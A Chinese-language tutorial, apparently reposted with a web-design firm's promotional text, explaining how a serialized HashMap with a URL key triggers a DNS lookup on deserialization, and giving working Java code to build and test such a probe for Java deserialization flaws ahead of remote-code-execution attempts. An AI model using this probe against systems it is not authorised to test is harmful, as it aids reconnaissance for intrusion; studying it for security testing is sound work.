本篇內(nèi)容介紹了“怎么通過HashMap觸發(fā)DNS檢測Java反序列化漏洞”的有關(guān)知識,在實(shí)際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領(lǐng)大家學(xué)習(xí)一下如何處理這些情況吧!希望大家仔細(xì)閱讀,能夠?qū)W有所成!
公司主營業(yè)務(wù):做網(wǎng)站、成都網(wǎng)站制作、移動網(wǎng)站開發(fā)等業(yè)務(wù)。幫助企業(yè)客戶真正實(shí)現(xiàn)互聯(lián)網(wǎng)宣傳,提高企業(yè)的競爭能力。成都創(chuàng)新互聯(lián)是一支青春激揚(yáng)、勤奮敬業(yè)、活力青春激揚(yáng)、勤奮敬業(yè)、活力澎湃、和諧高效的團(tuán)隊(duì)。公司秉承以“開放、自由、嚴(yán)謹(jǐn)、自律”為核心的企業(yè)文化,感謝他們對我們的高要求,感謝他們從不同領(lǐng)域給我們帶來的挑戰(zhàn),讓我們激情的團(tuán)隊(duì)有機(jī)會用頭腦與智慧不斷的給客戶帶來驚喜。成都創(chuàng)新互聯(lián)推出廣靈免費(fèi)做網(wǎng)站回饋大家。
通過 HashMap 觸發(fā) DNS 檢測 Java 反序列化漏洞
我們常說的反序列化漏洞一般是指 readObject() 方法處觸發(fā)的漏洞,而除此以外針對不同的序列化格式又會產(chǎn)生不同的出發(fā)點(diǎn),比如說 fastjson 會自動運(yùn)行 setter,getter 方法。之后又有各種 RMI,JNDI 姿勢去執(zhí)行命令?,F(xiàn)在常見的黑盒檢測 Java 反序列化方式就是執(zhí)行命令 API,比如用一個 gadget 去執(zhí)行 nslookup xxx 最終通過服務(wù)器記錄去判斷。
但這種方式可能出現(xiàn)的一種問題是,你選擇測試的 gadget 服務(wù)器正好沒這個 jar 包或者更新過了,但卻有另一個存在漏洞的 jar 包。這時(shí)候單一的 gadget構(gòu)造出的執(zhí)行命令 payload 就會漏報(bào)。所以為了解決這種問題這里分享一個通過 HashMap 結(jié)合 URL 觸發(fā) DNS 檢查的思路。在實(shí)際過程中可以首先通過這個去判斷服務(wù)器是否使用了 readObject() 以及能否執(zhí)行。之后再用各種 gadget 去嘗試試 RCE。
HashMap readObject & URLStreamHandler hashCode
HashMap 最早出現(xiàn)在 JDK 1.2 中,底層基于散列算法實(shí)現(xiàn)。而正是因?yàn)樵?HashMap 中,Entry 的存放位置是根據(jù) Key 的 Hash 值來計(jì)算,然后存放到數(shù)組中的。所以對于同一個 Key,在不同的 JVM 實(shí)現(xiàn)中計(jì)算得出的 Hash 值可能是不同的。因此,HashMap 實(shí)現(xiàn)了自己的 writeObject 和 readObject 方法。
因?yàn)槭茄芯糠葱蛄谢瘑栴},所以我們來看一下它的 readObject 方法。
前面主要是使用的一些防止數(shù)據(jù)不一致的方法,我們可以忽視。主要看 putVal 時(shí)候 key 進(jìn)入了 hash 方法,跟進(jìn)看。
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
這里直接調(diào)用了 key 的 hashCode 方法。那么我們現(xiàn)在就需要一個類 hashCode 可以執(zhí)行某些東西即可。
很幸運(yùn)的我們發(fā)現(xiàn)了 URL 類,它有一個有趣的特點(diǎn),就是當(dāng)執(zhí)行 hashCode 方法時(shí)會觸發(fā)當(dāng)前 URLStreamHandler 的 hashCode 方法。
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
我們可以繼續(xù)跟進(jìn)。
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
主要就是這句代碼了。
InetAddress addr = getHostAddress(u);
很簡單,就是這里最后觸發(fā)了 DNS 查詢。
也就是說我們現(xiàn)在思路是通過 hashmap 放入一個 URL 的 key 然后會觸發(fā) DNS 查詢。這里需要注意一個點(diǎn),就是在 URLStreamHandler 的 hashCode 方法中首先進(jìn)行了一個緩存判斷即如果不等于 -1 會直接 return。
if (hashCode != -1)
return hashCode;
因?yàn)樵谏?hashMap put 時(shí)候會調(diào)用到 hashCode 方法,所以會緩存下來,即 hashcode 不為 -1。所以為了讓被接收者觸發(fā) DNS 查詢,我們需要先通過反射把 hashcode 值改為 -1,繞過緩存判斷。
Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u,-1);
最后生成的代碼為:
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
String url="https://www.xttblog.com";
HashMap hashMap = new HashMap(); // HashMap that will contain the URL
URL u = new URL(url); // URL to use as the Key
hashMap.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u,-1);
oos.writeObject(hashMap);
oos.flush();
oos.close();
測試代碼:
ObjectInputStream ois=new ObjectInputStream(new FileInputStream("object.obj"));
ois.readObject();
調(diào)用棧:
最終你會發(fā)現(xiàn)成功的觸發(fā) DNS 查詢。
“怎么通過HashMap觸發(fā)DNS檢測Java反序列化漏洞”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識可以關(guān)注創(chuàng)新互聯(lián)網(wǎng)站,小編將為大家輸出更多高質(zhì)量的實(shí)用文章!